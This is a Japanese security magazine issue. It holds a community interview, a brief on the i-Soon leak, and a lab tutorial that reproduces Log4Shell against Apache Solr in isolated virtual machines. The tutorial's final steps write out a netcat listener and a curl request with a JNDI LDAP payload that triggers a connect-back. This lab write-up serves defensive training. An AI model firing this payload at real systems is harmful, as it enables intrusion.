T

A

B

L

E

O

F

C

O

N

T

E

N

T

S

関西の「地域 SECUNITY」を盛り上げる勉強会やイベントの運営を続ける

池田 耕作（a.k.a 総裁）+ 宮田 明良（a.k.a seraph）インタビュー… …………………… 3
社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.04………………………………… 9
セキュリティツールを実践的に紹介する連載企画

Let's Try 脆弱性検証 + 緩和策適用 1．脆弱性（Log4j）体験編…………………………… 10●はじめに
本文書は、株式会社日立システムズ サイバーセキュリティリサーチセンタが運営するセキュリティ情報サイト、S.S.R.C.(Shield Security
Research Center) の公開資料です。本サイトでは、本文書のバックナンバーをはじめ、S.S.R.C. によるリサーチ結果などを随時公開しています。
S.S.R.C. https://www.shield.ne.jp/ssrc/●ご利用条件
本文書内の文章等すべての情報掲載に当たりまして、株式会社日立システムズ（以下、「当社」といいます。）と致しましても細心の注意を払っておりますが、その内容に誤りや欠陥があった場合にも、いかなる保証もするものではありません。本文書をご利用いただい
たことにより生じた損害につきましても、当社は一切責任を負いかねます。
本文書に記載した会社名・製品名は各社の商標または登録商標です。
本文書に掲載されている情報は、掲載した時点のものです。掲載した時点以降に変更される場合もありますので、あらかじめご了承ください。
本文書の一部または全部を著作権法が定める範囲を超えて複製・転載することを禁じます。
© Hitachi Systems, Ltd. 2024. All rights reserved.

2関西の「地域 SECUNITY」を盛り上げる勉強会やイベントの運営を続ける

池田 耕作（a.k.a. 総裁）+
宮田 明良（a.k.a. seraph）インタビュー
取材・文 = 吉澤亨史／編集 = 斉藤健一
サイバー攻撃が高度化・巧妙化する中、幅広い組織が攻撃の標的になっている。そこで、経産省や総務省など関係省庁が連携し、「共助」の関係を築く目的で、地域セキュリティコミュニティ（地域SECUNITY）の強化支援を行っている。今回は、「関西サイバーセキュリティ・ネットワーク（関西 SECnet）」の取り組みの一環として、「総関西 LT 大会」「TKTK セキュリティ勉強会」「アルティメットサイバー
セキュリティクイズ」を取り上げ、それぞれを運営する池田耕作氏（総裁）と宮田明良氏に、勉強会開
催の取り組みや関西のセキュリティコミュニティの現状などについて伺った。なお、インタビューは2024 年 4 月下旬に行われた。
方との人的交流の大切さを改めて実感しました。
平日夜に気軽にセキュリティをまた、関西圏のセキュリティ系勉強会が少ないと学べる勉強会を目指した「総サイ LT」

感じており、開催頻度も年に 1 回程度と少なかったことも、立ち上げの理由の 1 つになっています。

吉澤（以下

）
：時系列順に伺いたいと思います。

具体的な構想などはあったのでしょうか。

まず池田さん、「総関西サイバーセキュリティ LT

セキュリティはカバーする範囲が広いので、ど大会」※ 1 を立ち上げた経緯を教えてください。

うしても特定分野の勉強会が多くなりがちです。

池田氏（以下）：ハードニング・プロジェクト

そうすると、マニアックなものとなってしまい、の競技会に参加したことがきっかけです。外部の新たな人が参加しにくくなってしまいます。これ

池田 耕作（いけだ・こうさく a.k.a. 総裁）
某エネルギー会社グループ CSIRT の PoC を務める。
2017 年からは関西をベースとした「総関西サイバーセキュリティ LT 大会」を主催し、セキュリティ初心者にも参加しやすいコミュニティ形成を行っている。また 2018 年から年に一度の「アルティメットサイバーセキュリティ
クイズ」を主催し、セキュリティ初心者でも気軽に参加できる知識だけで競うことができるイベントを実施している。

宮田 明良（みやた・あきら a.k.a. seraph）
関西におけるセキュリティ系勉強会が少ないという問題意識から、2016 年にセキュリティの知識や技術の向上だけでなく、人と人とのつながりを広げられる場として「TKTK セキュリティ勉強会」を主催。また、「アルティメットサイバーセキュリティクイズ」の副実行委員長でもある。
※ 1 総関西サイバーセキュリティ LT 大会 https://sec-kansai.connpass.com/

3

ではコミュニティの裾野を広げようとしても広がそこで、勉強会の名称を略すと「ソウサイ」にな

らない、こうした忸怩たる思いもありました。でるものを考えました。「総関西サイバーセキュリ

すから、例えば職種は営業だけれどもセキュリ

ティ LT 大会」、略して「総サイ LT 大会」というティを勉強したいという人が気軽に参加できる勉わけです。

強会にしたいと考えていました。
ハンズオンでガッツリ学び

おっしゃるとおり、技術職ではない方が気軽に懇親会でしっかり繋がる「TKTK 勉強会」

参加できる勉強会は少ないですね。
また、当時の勉強会やイベントは不定期開催が続いて宮田さん、「TKTK セキュリティ勉強会」※ 2

多く、そのほとんどが週末の開催でした。実はこれも課題に感じていました。家族サービスを放っを立ち上げた経緯を教えてください。

て参加することになりますから、いわゆる「ガチ宮田氏（以下のセキュリティの人」が多くなり、それ以外の参異動になったことがきっかけです。というのも、

加者はなじめなくなってしまいます。そこで、会

東京では毎日のように勉強会があって、私自身も社帰りに参加できる平日夜の時間帯に設定し、開AVTOKYO などに登壇したり、参加者としてさまざ

催日も偶数月の第 2 水曜日に固定、参加費も無料

まな勉強会に参加したりしていました。ところが、としました。

関西では勉強会は多くありませんでいた。人口は）： 私の場合は、東京から大阪に

開催日の固定や平日夜の開催というのも、良い

多くとも地方の 1 つという位置づけでなのかもしアイデアだと思いました。1 人で立ち上げられたれません。さらに、いくつかの勉強会が休止状態のですか。また、初回の参加者はどれくらいでしでしたので、それなら自分で立ち上げようと考えたか。

たのです。人が集まらなければ 1 回で終わらせて立ち上げは 1 人で行いました。初回の開催はもよいと軽い気持ちで開催してみたら、意外にも2017 年 2 月で、180 名ほどの方に参加していた

多くの人に集まってもらったというが最初です。

だきました。立ち上げてみてわかったのは、やは

宮田さんも池田さんと同じく、1 人で始めたのり皆さん、こうした勉強会を求めていたというこですか。

とです。新型コロナ禍の間も継続して開催してい運営は基本的に妻と 2 人で行っています。妻

ましたが、2022 年 12 月に、当初の目的は達成ではイベントを運営するのが好きで、会場では「ヨきたと考え不定期開催としました。ですが、2024

メ」というステッカーを貼ってサポートに回って年は毎月開催しようかと考えています。

もらっています。先ほど、池田さんは平日の夜に勉強会はどのような内容だったのでしょうか。

開催しているとのことでしたが、私たちは週末や基調講演と LT の 2 部構成です。お招きした講

祝日の開催としています。

師の方に質の高い基調講演をしていただき、LT でわかりました。勉強会の内容や開催頻度についは、各参加者がアウトプットしたいテーマを持ちて教えてください。

寄ります。LT の持ち時間は 1 人につき 5 分間です。

多いときで、年に 4 〜 5 回、開催しますが、最こうして時間を決めることで、それぞれが考えを

近では年に 2 回ほどの開催にとどまっています。

整理する必要がありますし、発表の練習をするこ

内容は、ハンズオンが中心となります。1 人の講とになると思います。

師の方に 3 〜 4 時間の講習を行っていただいてい参加者が自ら情報を発信することで、さらに理ます。また、人と人とのつながりを大切にしたい

解を深めることができますね。勉強会の名称はどので、勉強だけではなく、人的ネットワークも作っのように決めたのでしょうか。

て帰ってもらいたいとも考えています。この部分
が趣旨の半分くらいを占めていると思います。

私は、ハードニング・プロジェクトの一部の人たちから「総裁」という名で呼ばれていました。

人と人とのつながりの中で、顔が見えることは※ 2 TKTK セキュリティ勉強会 https://tktksec.connpass.com/

4本当に大切です。こうしたつながりは、信頼や協力へとつながると思います。具体的には、自己紹持てる知識を思う存分発揮する

介の時間を設けたり、懇親会を行ったりしている

アルティメットサイバーセキュリティクイズということでしょうか。
自己紹介の時間は設けていますが、一人ひとり

アルティメットサイバーセキュリティクイズ※ 3

だと時間もかかりますし、印象にも残りません。

は、テック系ニュースサイトで取り上げられる機そこで、4 〜 5 人ずつのグループに分かれ、その会も多い印象です。池田さんと宮田さんも実行委

中で自己紹介をしてもらっています。これが意外員として参加されています。クイズをイベントとにも盛り上がるようで、時間の都合でこちらが制して実施するアイデアはどなたの発案だったので止することもしばしばです。また、懇親会もセッ

しょうか。

トにしています。

私です。CTF など技術を競って名誉を手にする

参加費はどうされていますか。

コンテストはありますが、知識を競って名誉を手

参加者から 1000 円〜 2000 円ほどの参加費はにする機会はないと思っていて、手軽にできる方

いただいています（懇親会費は別）。公共の会議

法を考えていました。そういった状況の中、クイ室を会場に使うなどして費用を抑え、その分をズ番組を家族と一緒に視聴していて盛り上がった

講師の旅費や宿泊費としてお支払いしています。

ことを思い出したのです。

TKTK セキュリティ勉強会では、なるべく高槻に確かに。クイズ番組は盛り上がりますからね。

ちなんだ「おやつ」を出しています。場合によっ

そこで、往年の TV 番組「アメリカ横断ウルトては赤字になることもあります。企業に協賛をおラクイズ」のように「○」か「×」で回答し、不願いすると制約がかかることもあるので、「ベン正解だと脱落する方式がよいと思いました。すぐ

ダーフリー」で運営を続けています。

に宮田さんに連絡したら「面白そうだ」と言ってやはり個人で勉強会を主催することはご苦労がくれたので、メンバーを集めて骨子を作り、初回あるのですね。他に特別な取り組みなどはありまを 2017 年 7 月第 2 土曜日に開催することに決定

すか。

しました。

アンケートです。ほぼ強制で「回答するまで帰こちらも開催日が固定されていて、参加希望者れません」とアナウンスしています ( 笑 )。そのおのスケジュールが立てやすいですね。ちなみにク

かげで回答率はほぼ 100％です。また、その集計

イズの流れはどのようになるのですか。

結果の中で、「講義の感想」はなるべく早くまと

予選は「○×方式」で行われ、不正解 3 回で予めて、講師の方にフィードバックしています。こ

選敗退です。敗者復活戦も「○×方式」で行われの部分にはこだわりを持っています。

ます。そして勝ち残った 3 名による決勝戦は、こちらも TV 番組「パネルクイズアタック 25」形式

勉強会の名称ですが「TKTK」は何と読めばよの早押しクイズを行います。

いのでしょうか。
よく尋ねられる質問です。何でもよいのです。

技術者でなくても参加しやすいようにしたり、勉強会としては、「ティーケーティーケー」と呼予選敗退者が見学するときも一緒に楽しめるようんでおり、「テクテク」少しずつ学んでいってほにしたりするなど工夫されているのですね。現在しいという意味を込めて名付けました。実は「高はオンラインでも実施されていますが、参加人数

槻（TaKaTsuKi）」は後付けだったりします ( 笑 ) 参

はどのくらいなのですか。

加者からは「テケテケ」の呼び方が人気です。呼今年で 7 回目になりますが、参加者はどんどん増

び名に関するスライドを作ったこともありますし、

えて 300 人ほどになっています。問題は PowerPoint

この話題を肴にお酒を飲んだこともありました。

で作成して画面に表示するのですが、それが最大200 問になることもあるので苦労します。

※ 3 アルティメットサイバーセキュリティクイズ https://www.seckansai.com/ucsecquiz/index.html

5オンラインでのインタビューに花が咲き、想定の時間をオーバーして大いに盛り上がったに取ったドメインと言った方が正しいです。

問題に関西らしい笑いを盛り込んだりすることもあるのですか。

関西のセキュリティコミュニティや勉強会で特徴的なことはありますか？

たまに「アホ」な問題が出たりします。
運の要素を入れるために、あえて「アホ」な問勉強会に限りませんが、セキュリティ業界も題を出すこともあります。CISSP の有資格者や教含めて基本的に東京に一極集中です。関西といえ壇に立たれている方でも予選で敗退することが多ど地方と変わらないのが現状です、セキュリティ

いですね。ただ、回数を重ねるにつれて問題作成に携わる人の数は多いと思いますが、東京のイベが厳格になってきています。正解に幅のある問題

ントやコミュニティの数は桁が違うと感じていまだと、すぐに X などで疑問を呈されてしまいます。

す。業界自体も小さいですし、コミュニティへのそれだけ参加者のみなさんが真剣だということの参加人数も、やはり少ないと思います。

表れだと思います。

オンラインの場合も東京からの参加者は多い傾向にあるのでしょうか。

豪華賞品もありますからね。運営側も参加することに意味があるイベントにしたいと取り組んで詳しい統計は取っていませんが、一定数はいるいます。

と思います。
TKTK は対面開催のみですが、3 ～ 4 割の方はセキュリティコミュニティの現状と運営

関西以外から来られています。東京や名古屋、鹿児島からいらっしゃる方もいます。西日本で見て関西のセキュリティコミュニティ情報をまとめ

も勉強会は多くないので来てくれるのだと思いまている SECKANSAI ※ 4 を見ていると、東京とは異すが、そもそも参加見込み者数が小さい気もしてなり、関西のコミュニティは団結しているようにいます。

思えます。SECKANSAI が立ち上がった経緯を教え

コミュニティを運営して良かったと感じたことてください。

などあれば教えて下さい。

関西のセキュリティコミュニティが増えてきた

何より楽しいことです。人と接点があることはので、SECKANSAI という共通の看板で活動した方非常に楽しいですし、昔から人と人をつなげていがいいのではないかと皆さんで相談して作りましくことが好きでした。コミュニティでつながったた。現在は 7 つほどのコミュニティが参加してい人同士がつながりを広げていくのを見るのもうれます。実際のところは、クイズを立ち上げるためしいですね。先日、初めてハンズオンを行ったの※ 4 SECKANSAI https://www.seckansai.com/

6

ですが、下は 19 歳、上は 60 歳の方が参加して仲や録画はしていませんし、資料をいただくことも良く話していました。

少ないです。そのためスタッフが内容の全容をわ宮田さんはいかがですか。

からないことも多々あります。ですが、勉強会の

私も楽しさが一番かなと思います。自分が楽終わりに、参加者の方から「ありがとう」というしいこともそうですし、参加した方々が「すごく言葉をいただくと、主催して良かったと思えるの楽しかったです」と帰って行く様子を見るのも良です。

かったと感じます。TKTK で会った人同士で飲み私もクイズの時に講演は 1 回も聞いたことありに行ったり、プライベートな勉強会をしたりしたません。

ことを聞くと、そこに関われたことをうれしく思います。

コミュニティを長く続けるコツと一方で、コミュニティの運営において苦労する

今後の活動

ことやストレスに感じることは何でしょう。
コミュニケーション問題は悩ましいです。双方残念なことにコミュニティによっては活動休止

向のコミュニケーションが成立しないことがありしてしまうこともあります。その理由は千差万別ます。必ず返事してくださいとメールを送ってもだと思いますが、長く続けるためのコツというか

返信がない。連絡を Discord に移行しますと伝え

心持ちなどあれば教えください。

ても参加しないわけです。無料で開催しているか

実は、一度中断しています。それはオンライン

らかも知れませんが、難しいです。

がメインになったことで LT がゼロという状況が参加者からすると「無料だからいいや」となり続いたためです。ですが、皆が集まる場はあったがちです。少額でも参加費を徴収すると状況が改方がいいなと思って、いい講演をしてくれる方が善するのではありませんか。

見つかれば開催しようと思いました。

前回、ハンズオンを企画して、初めて 1000 円

TKTK は「ゆるふわ」なので、無理せず続けての参加費を設定しました。それでも振り込まない

いこうと思っています。総関西 LT 大会と比べれ人がいて連絡もつかない。仕方なくキャンセル扱

ば開催頻度はずっと少ないですし、家庭や仕事のいにして空きが出るわけですが、また同じ人が申事情を加味しているので、続けられていると思いし込んできました。こうしたケースはストレスにます。回数を増やした時期もありましたが、運営なります。

がとても大変でした。今では、回数が少ないこと

宮田さんはいかがですか。

が影響しているのか、ありがたいことに講師を希TKTK の場合は多くの場合が長時間のハンズオ

望してくれる方が多いのです。ただ、開催時期はンです。講師の内容は事前に調整するのですが、他のセキュリティイベントと重ならないようにし基本的に内容は講師にお任せしています。それが、ています。

講師の方も参加者も楽しくできると考えるからで一般論として、コミュニティが長く続くとメンす。ただし、私がほぼ参加者のサポートに回るのバーが固定化し硬直化していくという話もありまで、どんなに面白そうな内容でも聞けないことがすが、お二人の勉強会ではいかがですか。

多少ストレスですね。

今でも参加者の 1/3 の方は初参加の方です。X

確かに。「この講師の話が聞きたい」と思ってや Connpass からの情報がきっかけとなっており、いた講演が聞けないのは悲しいですね。

参加した感想も好意的です。とても良い形でメン

TKTK をはじめたころ、講演を真面目に聞いてバーの新陳代謝ができていると感じています。

いたら、古くから勉強会を主催されている業界の

TKTK でも初参加の方は一定数います。平均す方に「勉強会の主催者は自己犠牲が基本」だとたると 3 割ほど、多いときで約半数にもなります。

しなめられたことがあります。それからは常に講

話題は変わりますが、TKTK のスピンオフの勉強

義に追いつけていない方のサポートに徹していま

会で、CISSP の勉強会を開催しました。1 回だけす。講師の方が気を遣わずに話せるように、録音の限定でしたが、参加者 10 名のうち 3 〜 4 名が7

開催です。こちらもふるってご参加ください。

合格したとのことです。こうしたこともコミュニ
ティの活性化につながっていると思っています。

今回はありがとうございました。

技術者でなくても参加しやすいように工夫や、インタビューを終えて参加者同士のつながりを大切にするなど、それぞれ、お二人が力を入れている取り組みがコミュニ
ティの新陳代謝や活性化を促しているように感じ

本稿では、「地域 SECUNITY」の 1 例として、「関ます。最後に今後取り組んでいきたいことについ西サイバーセキュリティ・ネットワーク（関西てお 2 人それぞれ一言ずついただければと思いま

SEC-net）」の取り組みについて取り上げました。

す。

「総関西サイバーセキュリティ LT 大会」は、技術者でなくても、気軽に参加できる取り組みに先ほど池田さんから 19 歳の人が参加したという話が出ていましたが、コロナ禍後に学生の参加なっていることが大きな特徴だと言えます。一方が減っていることが気がかりです。元々関西とい「TKTK 勉強会」は、人と人とのつながりに重きをうことで参加者数が少ないということもあります

おいて活動しています。参加者同士が新たな勉強が、なかなかコミュニティに参加してくれません。

会を立ち上げた例もあり、単なる勉強会という枠

昨年は SecHack365 で、TKTK を紹介する機会をいを超えて「共助」の関係を築くことができるコミュ

ただき、その影響で参加してくれた方もいました。

ニティであるとも言えます。
実際にコミュニティ参加者にお伺いしたとこ

今年も学生や若年層の方が参加できる場となるよろ、顔と顔が見える信頼できるつながりができた

うがんばりたいと思います。
池田さんはいかがでしょうか？

ことで、平時、有事に関わらずセキュリティ有識

総サイ LT の認知度をもう少し上げて、営業な者への相談が容易になったともいい、まさに「共ど広く社会人に来ていただきたいですね。もは助」の関係を築くことにつながっていることがわやセキュリティの知識は一般社員にも必要ですか

かりました。こういった関係性は、ニーズとシーら。さらに言うと、後を引き継いでくれる総裁二ズのビジネスマッチングや共同研究による地域発

世が早く現れてこないかなと切に願っています。

のセキュリティソリューション開発にもつながる

次回の勉強会はいつでしょうか。

ものと考えられます。参加者には知識の壁に臆す

第 41 回関西総 LT 大会が 5 月 15 日にあります。

ることなく、コミュニティへの積極的参加、組織

オンラインでも参加いただけます。また、アルティとしてはコミュニティ活動に気軽に送り出せる風メットサイバーセキュリティクイズは 7 月 13 日

土の醸成を期待します。

8

社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.04
文＝ SHIELD Security Research Center② 中国国内の同業他社が iSoon 社を蹴落とすために実行したもの

iSoon 社の情報漏えいから見える③ 内部犯行中国政府の活動に対する見解

ただし、漏えいした情報には iSoon 社 CEO と中【概要】：中国の民間セキュリティ企業である iSoo

国政府所属の人物による WeChat チャット欄のス（安洵信息／ Anxun Information Technology）のクリーンショットなど、組織内部の人間でも収集ものとされる機密文書が GitHub 上に公開された。

が難しい情報が多く含まれていたため、③の可能

この文書は、民間企業と中国政府との裏の繋がり性は低いと考えられる。①・②のどちらが事件のを示すものであり、中国におけるサイバー攻撃の真相かを判断できる情報は今のところなく、今後実態を把握する上で重要なものといえる。

の動向が注目される。なお、中国政府は裏で繋がりのある企業や、そのサプライチェーンのセキュ【 内 容 】：2024 年 2 月 14 日 に「I-SOON」 と い う

リティの強化を図っていると考えられる。今回の名のアカウントが GitHub 上に iSoon 社に関するような情報漏えいや、意図せず公開されている情大量の情報を投稿した。その中には WeChat を報に対する監視が強まり、中国のハッカー企業を用いた社員同士の会話、各種 OS 向けのカスタム対象とした OSINT 調査の難易度が高まる可能性がマルウェア、Twitter のアクティビティを監視すある。

るプラットフォーム、公開情報を収集・分析する

本 件 を 通 じ て、iSoon 社 と 中 国 政 府 と の 関 係

OSINT（Open Source Intelligence）活用プラットに 重 要 な 役 割 を 持 つ 人 物 が 浮 き 彫 り と な っ た。

フォーム、スパイ活動を行う際の標的リストなど“Shutd0wn” と い う 人 物 で iSoon 社 の CEO で あが含まれていたという。

る。この人物は 2000 年代、「緑色兵団」と呼ばれこの情報から、iSoon 社が中国政府（国家公安た中国で有名なハッカー集団のメンバーであった。

／国家安全局など）や、複数の攻撃手法を用いて2000 年頃、中国には活発なハッキングコミュニ

標的に APT 攻撃を行うグループ（POISON CARP

ティが存在していたが、2008 年、中国政府はこう／ JACKPOT PANDA ／ APT41 など ) に対し、サイしたコミュニティを規制し、多くのハッカーの活バー攻撃に利用できるツールの提供を行っていた動は停止した。だが実際には、中国政府は裏で優ことが判明した。こうした繋がりが公になったた

秀なハッカーに対して起業を勧めており、表向きめ、中国政府が国内企業に諸外国へのサイバー攻はサイバーセキュリティ企業を名乗りつつ、裏で撃を実行させ、さまざまな情報を収集している疑は中国政府の指示を受けサイバー攻撃を行う企業

惑が強まっており、iSoon 社以外にも同様の役割が誕生していたと推測できる。
今回の事例から、中国のハッカーがあらゆる手を持った企業が複数存在すると推測される。

段を使い活動を続けていることが垣間見えた。こ

機密情報の漏えいが発生した原因として、以下の 3 つの説が考えられている。

のことから、サイバー攻撃を行う攻撃者自身の経① 海外諜報機関による中国の APT 対策を目的と歴や過去の活動、現在の所属などに着目した調査が、脅威を判定する上で重要であるといえる。

したもの［情報源］https://codebook.machinarecord.com/threatreport/32135/

9

セキュリティツールを実践的に紹介する連載企画

Let's try 脆弱性検証 + 緩和策適用

1． 脆弱性（Log4j）体験編

文＝ SHIELD Security Research Center1．はじめに
本稿は、各種セキュリティツールなどを実践的に紹介する連載企画です。今号からはじまる第四部「脆弱性検証 + 緩和策適用」では、2021 年に確認され、広範囲に影響を及ぼした Apache Log4j の脆弱性
（CVE-2021-44228）を悪用する攻撃、通称 Log4Shell の体験を通して、緩和策適用のための設定、予防に必要なログ取得の設定などを確認します。JVN iPdedia では、「Log4j には JNDI Lookup 機能による外部
入力値の検証不備に起因して任意の Java コードを実行可能な脆弱性が存在します」と解説されており、その深刻度も「緊急」や「危険」と評価されています※。
第四部「脆弱性検証 + 緩和策適用」は以下の構成となっており、そのイメージを図 1 に示します。
1． 脆弱性（Log4j）体験編
仮想環境上に Apache Solr を構築し、Apache Solr に内包された Log4j の脆弱性
（CVE-2021-44228）の体験します。
2． 緩和策設定編
Log4j の脆弱性（CVE-2021-44228）が公開されたタイミング（パッチがまだ公開されていないことを想定）での推奨されている緩和策 (mitigation) を試行します。
3. ログ取得設定編
Log4j の脆弱性を悪用する攻撃、通称 Log4Shell において、取得可能なログの一部を確認します。
なお、本稿の安全性には留意していますが、安全を保証するものではありません。また、OA 端末で実施するのではなく、分離された回線内および機器を利用することを推奨します。また、本稿はセキュ
リティ対策の共有を目的として提供されています。本稿から得た知識は倫理的かつ法律を遵守した範囲で使用し、悪用しないようお願いします。

ログ取得設定

緩和策設定

脆弱性体験
攻撃サーバー（ホスト名：Attacker）

やられサーバー（ホスト名：Victim）

図 1 第四部「脆弱性検証 + 緩和策適用」全体の構成と、今号で扱う内容（赤字部分）※ https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html

10

2．準備
2.1 Lo4Shell の検証を実施する CentOS の準備
Lo4shell の検証を実行する CentOS を準備します。
CentOS は、本誌 Vol.50「Let's Try HDD 保全 ! 1. 準備編」にて作成しておりますので、作成済みの方はそちらを利用していただいてかまいません（スナップショットを有効活用してください）。
本稿から始める方は、以下を参考に CentOS の準備をお願いします。
本誌 Vol.50「Let’s Try HD 保全 ! 1. 準備編」保全の実習環境の構築
https://www.shield.ne.jp/ssrc/document/doc/SSRC-HJ-202306.pdf
2.2 CentOS のネットワーク接続
CentOS のネットワーク接続を確認します。
「設定」→「ネットワーク」→「アダプター１」の割り当てが、「NAT」（ブリッジアダプター）となっていることを確認します。

2.3 CentOS のアップデート
今回は、Log4j の脆弱性（CVE-2021-44228）を悪用する攻撃、通称 Log4Shell を体験します。他
の脆弱性と問題でないと明示的にわかるように念のため、利用する CentOS 全体をアップデートしておきます。
CentOS にログインし、以下のコマンドを実行し、アップデートを実施してください。
# yum update -y
2.4 クローンの作成
やられ（標的）サーバー「victim-CentOS」を基として、攻撃サーバー「Attacker-CentOS」を作成します。「victim-CentOS」のスナップショットを右クリックし、「クローン」を選択します（次ペー
ジ図）。

11

クローン作成のナビゲーションが表示されます。例えば、名前に「Attacker-CentOS」とし、
MAC Address Policy で「すべてのネットワークアダプターで MAC アドレスを生成」を選択します。
その他は初期値でかまいませんので適宜「次へ」を選択しクローンを作成します。

2.5 ホスト名の設定
今回は 2 台の CentOS を利用するため、画面上違いが認識しにくい状況ですので、念のためホスト名を変更しておきます。
「victim-CentOS」を起動し以下のコマンドを入力します。
# hostnamectl set-hostname Victim# exit
再度ログインし、ホスト名が変更されていれば完了です。

12

同様に「Attacker-CentOS」を起動し以下のコマンドを入力します。
# hostnamectl set-hostname Attacker# exit
再度ログインし、ホスト名が変更されていれば完了です。

2.6 やられサーバー（ホスト名：Victim）の構築
Apache Solr は、OSS の全文検索システムです。Apache のページに記載があるとおり、以下のバー
ジョンの Log4j の脆弱性 (CVE-2021-44228) の影響を受けます。
Apache Solr 7.4.0 to 7.7.3, 8.0.0 to 8.11.0

https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
今回は、この Apache Solr を利用して、Log4j の脆弱性 (CVE-2021-44228) を検証します。
検証を行うにあたり、Apache Solr 8.11.0 をインストールします。
2.6.1 ソフトウェアのインストール
次のコマンドを入力し、Apache Solr の動作に必要な Java をインストールします。
# yum install java -y
インストール完了後、次のコマンドを入力します。
# java -version

13以下の通り Java のバージョン番号などが正しく表示されれば Java のインストールは完了です。

また、次のコマンドを入力して、その他、今回の検証で必要なソフトウェアをインストールします。
# yum install wget tar zip lsof chkconfig -y
2.6.2 Apache Solr 8.11.0 のインストール
次に、攻撃対象となる Apache Solr 本体をインストールします。
今回は、Log4j の脆弱性が内包されている Apache Solr 8.11.0 を利用します。次のコマンドを実行して、Apache Solr 8.11.0 をダウンロードしてください。
# cd /tmp/# wget https://archive.apache.org/dist/lucene/solr/8.11.0/solr8.11.0.tgz# ls -la solr-8.11.0.tgz
以下の通り、ダウンロードが完了し、以下の通りファイル「solr-8.11.0.tgz」が存在することを確認します。

次のコマンドを実行し、ダウンロードした Apache Solr のパッケージの中身を確認します。
# tar zxf solr-8.11.0.tgz# cd solr-8.11.0# ls -la以下の通り、中身が確認できたら、確認完了です（次ページ図）。

14

次に、Apache Solr をインストールします。
以下のコマンドを実行します。
# /tmp/solr-8.11.0/bin/install_solr_service.sh /tmp/solr-8.11
コマンドを実行すると、インストールが進行します。
以下の画面の通り、「Service solr installed」「Started Solr server on port 8983・・・」が表示されましたらインストール完了です。

2.6.3 Apache Solr の起動確認
インストールが完了したら、念のため Apache Solr の起動状況の確認を行います。
次のコマンドを実行します。
# ss -antup15

コマンドを実行しましたら、次の画面の通り、8983 番ポートで待ち受けていることが確認してください。

2.6.4 FW の設定
CentOS では基本的に、ファイアウォールである firewalld が動作しています。そのため、初期状態では、Attacker は、Apache Solr にアクセスできませんので、検証を行うにあたりア
クセス可能にする必要があります。
以下のコマンドを実行して、firewalld の動作状況を確認します。
# systemctl status firewalld「acitive(running)」と記載があれば、firewalld が動作しています。

firewalld の動作を確認したら、次に以下のコマンドを実行して firewalld のルールを確認します。
# firewall-cmd –list-all –zone=public
結果例は以下の通りです（次ページ図）。

16

Apache Solr が待ち受けるポート 8983 への通信が許可されていないことがわかります。
以下のコマンドを実行して、Apache Solr が待ち受けるポート 8983 への通信を許可します。
# firewall-cmd –add-port=8393/tcp –zone=public –parmanent# firewall-cmd –reload# firewall-cmd –list-all –zone=public
例に示すとおり、ポート 8983 への通信が追加されていれば、firewalld における通信許可が完了します。

2.7 攻撃サーバー（ホスト名：Attacker）の構築
次のコマンドを入力して、その他、今回の検証で必要なソフトウェアをインストールします。
# yum install nc -y

また、Victim と同様 firewalld の設定をしておきます。攻撃サーバー（ホスト名：Attacker）にて
FW を無効化します。なお、本来であれば無効化をすべきではありませんが、今回の検証では守るべき対象ではないことから、リスクを受け入れた形で無効化しています。
# systemctl stop firewalld

17

3．スナップショットの取得
このあとは脆弱性の検証を実施します。
検証を実施する前に、やられサーバー（ホスト名：Victim）、攻撃サーバー（ホスト名：Attacker）ともに、
スナップショットを作成しておきましょう。

4．IP アドレスの確認検証を行うにあたり、やられサーバ ( ホスト名：Victim)、攻撃サーバ ( ホスト名：Attacker) の IP
アドレスが確認する必要があります。各マシーンで以下のコマンドを実施して、IP アドレスを確認しておきます。
# ip addr
以下が IP アドレスです。

5．脆弱性の検証
Attacker で、以下のコマンドを実行し、netcat プログラムを利用して 1234 ポートで待ち受けをします。
# nc -lnvp 1234
nc が 1234 番ポートで待ち受けていることを確認してください（次ページ図）。

18

次に、Ctl+Alt+F2 を入力し、別のターミナルへ移動します。
別のターミナルへ移動したら、次のコマンドを実行します（赤字の IP アドレスはお使いの環境にあわせてください）。
# curl ‘http://Victim の IP addr :8983/solr/admin/cores?foo=$\{jndi:ldap:Attcker の IP addr:1234\}’

このコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメーターに、Log4Shell の検証コードを入力しています。
コマンド入力後、特段変わった表示はされません。

次に、Ctl+Alt+F1 を入力し、nc が 1234 番ポートで待ち受けているターミナルへ戻ると、次の画面の通り、攻撃が成功、Log4j の脆弱性 (2021-44228) が悪用され、コネクトバック通信が発生していることが確認できます。

6．おわりに
今回は、①脆弱性（Log4j）体験編として、仮想環境上に Apache Solr を構築し、Apache Solr に内包
された Log4j の脆弱性（CVE-2021-44228）の体験を実施しました。
次回は、②緩和策設定編として、Log4j の脆弱性（CVE-2021-44228）が公開されたタイミング（パッチがまだ公開されていないことを想定）での推奨されている緩和策（mitigation）を試行します（図 2）。
ログ取得設定

緩和策設定

脆弱性体験
図 2 第四部「脆弱性検証 +やられサーバー（ホスト名：Victim）

攻撃サーバー（ホスト名：Attacker）

19

緩和策適用」全体の構成と、次号で扱う内容（赤字部分）